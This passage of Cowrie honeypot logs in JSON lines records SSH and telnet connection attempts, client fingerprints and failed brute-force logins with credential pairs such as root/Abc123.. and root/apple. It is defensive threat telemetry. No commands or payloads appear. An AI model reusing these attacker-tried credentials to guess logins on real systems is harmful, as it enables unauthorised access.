s-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:25.350969Z","src_ip":"116.110.15.216","session":"51aa20f08e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.07309865951538,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:25.399124Z","src_ip":"192.119.13.58","session":"d99500812635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.291210412979126,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:25.629050Z","src_ip":"192.119.13.58","session":"de273cf6a1c7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:27.540583Z","src_ip":"116.110.15.216","session":"51aa20f08e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.739219665527344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:28.169192Z","src_ip":"192.119.13.58","session":"9dd36611aa5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:28.829686Z","src_ip":"116.110.15.216","session":"51aa20f08e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.000147581100464,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:32.023501Z","src_ip":"192.119.13.58","session":"82f765746970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.973846197128296,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:32.140658Z","src_ip":"192.119.13.58","session":"fcdee2cc43db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41830,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb6915b5767a","protocol":"telnet","message":"New connection: 192.119.13.58:41830 (10.17.0.5:23) [session: fb6915b5767a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:36.256713Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":56922,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b28c9e81432","protocol":"ssh","message":"New connection: 193.39.208.26:56922 (10.17.0.5:22) [session: 1b28c9e81432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:37.331003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:37.337951Z","src_ip":"193.39.208.26","session":"1b28c9e81432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:37.420821Z","src_ip":"193.39.208.26","session":"1b28c9e81432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123..","message":"login attempt [root/Abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:37.786092Z","src_ip":"193.39.208.26","session":"1b28c9e81432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50164,"dst_ip":"10.17.0.5","dst_port":23,"session":"8187b22fbe8b","protocol":"telnet","message":"New connection: 192.119.13.58:50164 (10.17.0.5:23) [session: 8187b22fbe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:38.216015Z"}
{"eventid":"cowrie.session.closed","duration":0.004626274108886719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:38.220534Z","src_ip":"192.119.13.58","session":"8187b22fbe8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:38.871624Z","src_ip":"193.39.208.26","session":"1b28c9e81432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":40156,"dst_ip":"10.17.0.5","dst_port":22,"session":"788b9febbb40","protocol":"ssh","message":"New connection: 40.83.182.122:40156 (10.17.0.5:22) [session: 788b9febbb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:42.533681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:42.537838Z","src_ip":"40.83.182.122","session":"788b9febbb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77263069152832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:42.568042Z","src_ip":"192.119.13.58","session":"8be36dc08941","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:42.615309Z","src_ip":"40.83.182.122","session":"788b9febbb40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Abc","message":"login attempt [root/123456789@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:42.955834Z","src_ip":"40.83.182.122","session":"788b9febbb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43860,"dst_ip":"10.17.0.5","dst_port":23,"session":"823b0306cc2f","protocol":"telnet","message":"New connection: 192.119.13.58:43860 (10.17.0.5:23) [session: 823b0306cc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:43.480987Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:44.035225Z","src_ip":"40.83.182.122","session":"788b9febbb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38408,"dst_ip":"10.17.0.5","dst_port":22,"session":"95567d21c5a8","protocol":"ssh","message":"New connection: 193.37.70.224:38408 (10.17.0.5:22) [session: 95567d21c5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:44.376111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:44.380393Z","src_ip":"193.37.70.224","session":"95567d21c5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:44.469977Z","src_ip":"193.37.70.224","session":"95567d21c5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:44.738700Z","src_ip":"193.37.70.224","session":"95567d21c5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:45.831230Z","src_ip":"193.37.70.224","session":"95567d21c5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.074033975601196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:47.426360Z","src_ip":"192.119.13.58","session":"9594c00ea8d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33172,"dst_ip":"159.203.135.109","dst_port":23,"session":"23f0a8ad0057","protocol":"telnet","message":"New connection: 186.195.16.41:33172 (159.203.135.109:23) [session: 23f0a8ad0057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:47.481818Z"}
{"eventid":"cowrie.session.closed","duration":52.3460476398468,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:48.898807Z","src_ip":"186.195.16.41","session":"0af0e739a218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42734,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b95956e5dae","protocol":"telnet","message":"New connection: 192.119.13.58:42734 (10.17.0.5:23) [session: 5b95956e5dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:49.835038Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47772,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ac6f89e175","protocol":"telnet","message":"New connection: 192.119.13.58:47772 (10.17.0.5:23) [session: 70ac6f89e175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:50.986000Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":20397,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d2f553d4f1","protocol":"ssh","message":"New connection: 201.249.192.30:20397 (10.17.0.5:22) [session: e1d2f553d4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:56.731912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:56.737363Z","src_ip":"201.249.192.30","session":"e1d2f553d4f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:56.804379Z","src_ip":"201.249.192.30","session":"e1d2f553d4f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apple","message":"login attempt [root/apple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:57.098971Z","src_ip":"201.249.192.30","session":"e1d2f553d4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.84846878051758,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:58.157312Z","src_ip":"192.119.13.58","session":"7cc81ac164bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:58.167376Z","src_ip":"201.249.192.30","session":"e1d2f553d4f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.106781005859375,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:58.176117Z","src_ip":"192.119.13.58","session":"3cef78329262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f684b41c4e2a","protocol":"telnet","message":"New connection: 192.119.13.58:52104 (10.17.0.5:23) [session: f684b41c4e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:58.806321Z"}
{"eventid":"cowrie.session.closed","duration":39.75904941558838,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:17:59.900637Z","src_ip":"192.119.13.58","session":"82ccbb270d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.989453077316284,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:01.855744Z","src_ip":"192.119.13.58","session":"d53bb2ca2882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.795663356781006,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:05.612393Z","src_ip":"192.119.13.58","session":"7e48e8acc38b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.62.93.54","src_port":46334,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebacbde49021","protocol":"ssh","message":"New connection: 178.62.93.54:46334 (159.203.135.109:22) [session: ebacbde49021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.363394Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.367693Z","src_ip":"178.62.93.54","session":"ebacbde49021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.371255Z","src_ip":"178.62.93.54","session":"ebacbde49021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.62.93.54","src_port":46340,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26903bf529c","protocol":"ssh","message":"New connection: 178.62.93.54:46340 (159.203.135.109:22) [session: a26903bf529c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.509178Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.514223Z","src_ip":"178.62.93.54","session":"a26903bf529c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.517854Z","src_ip":"178.62.93.54","session":"a26903bf529c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42486,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5178eaee218","protocol":"telnet","message":"New connection: 192.119.13.58:42486 (10.17.0.5:23) [session: f5178eaee218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:09.882235Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e389a239709","protocol":"telnet","message":"New connection: 192.119.13.58:45908 (10.17.0.5:23) [session: 1e389a239709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:11.826719Z"}
{"eventid":"cowrie.session.closed","duration":35.934595823287964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:12.191234Z","src_ip":"192.119.13.58","session":"fb6915b5767a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40252,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1021638a830","protocol":"ssh","message":"New connection: 193.32.162.145:40252 (10.17.0.5:22) [session: e1021638a830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:13.710756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:13.715478Z","src_ip":"193.32.162.145","session":"e1021638a830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:13.815464Z","src_ip":"193.32.162.145","session":"e1021638a830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:18:14.118162Z","src_ip":"193.32.162.145","session":"e1021638a830","protocol":"ssh"}
